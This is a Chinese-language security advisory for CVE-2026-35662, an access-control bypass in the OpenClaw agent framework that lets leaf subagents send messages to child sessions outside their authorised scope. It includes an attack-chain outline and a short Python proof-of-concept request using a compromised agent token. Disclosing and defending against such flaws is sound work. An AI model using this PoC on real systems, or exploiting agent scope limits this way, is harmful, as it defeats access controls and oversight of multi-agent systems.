IPBUF安全漏洞报告
English
CVE-2026-35662 CVSS 4.3 中危

CVE-2026-35662 OpenClaw访问控制绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35662
漏洞类型
访问控制绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

访问控制绕过权限提升OpenClawCVE-2026-35662

漏洞概述

OpenClaw在2026.3.22之前的版本中存在访问控制绕过漏洞。该漏洞源于send动作未能正确强制执行controlScope限制,允许leaf subagents向超出其授权范围的受控子会话发送消息。攻击者可利用此缺陷,在缺乏适当作用域验证的情况下与子会话通信,从而成功绕过系统预设的访问控制限制,对受控子会话进行未经授权的消息传递操作。

技术细节

该漏洞的根源在于OpenClaw框架在处理代理间消息传递时的权限校验逻辑存在缺陷。具体而言,当leaf subagents尝试调用“send”动作向子会话发送消息时,系统后端未能严格校验调用者当前持有的controlScope权限是否覆盖目标会话。在正常的设计逻辑中,subagents应当只能与其被授权范围内的特定会话进行交互。然而,由于该校验机制的缺失或绕过,攻击者可以构造特制的恶意请求,在请求参数中指定目标为受控的子会话ID。由于缺乏有效的作用域验证,系统会错误地允许该跨域消息发送请求通过。这使得低权限的攻击者能够跨越权限边界,与原本无权访问的子会话建立通信链路,导致访问控制机制完全失效,进而可能引发敏感信息泄露或进一步的会话劫持攻击。

攻击链分析

STEP 1
1. 获取低权限凭证
攻击者通过某种方式获取了OpenClaw系统中一个leaf subagent的低权限凭证(PR:L)。
STEP 2
2. 枚举目标会话
攻击者利用现有权限枚举系统中的受控子会话,识别出超出其授权范围的高价值目标会话。
STEP 3
3. 构造恶意请求
攻击者构造包含目标子会话ID的send动作请求,试图向该会话发送消息。
STEP 4
4. 绕过权限校验
由于系统未在send动作中强制执行controlScope限制,请求绕过了访问控制检查。
STEP 5
5. 实施未授权操作
攻击者成功与目标子会话通信,执行未授权的消息传递或操作,导致完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-35662: OpenClaw Missing ControlScope Enforcement # This script demonstrates bypassing scope restrictions to send messages to unauthorized child sessions. target_host = "http://vulnerable-openclaw-server:8080" leaf_agent_token = "compromised_leaf_agent_token" target_child_session = "restricted_session_id_123" url = f"{target_host}/api/v1/send" headers = { "Authorization": f"Bearer {leaf_agent_token}", "Content-Type": "application/json" } # Payload targeting a child session outside the leaf agent's scope payload = { "action": "send", "session_id": target_child_session, "message": "Malicious command or data exfiltration payload" } try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit Successful: Message sent to restricted session.") print(f"[+] Server Response: {response.text}") else: print(f"[-] Exploit Failed: HTTP {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

OpenClaw < 2026.3.22

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用leaf subagents的send动作功能,或通过WAF/IPS规则检测并阻断包含异常session_id参数的send请求,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表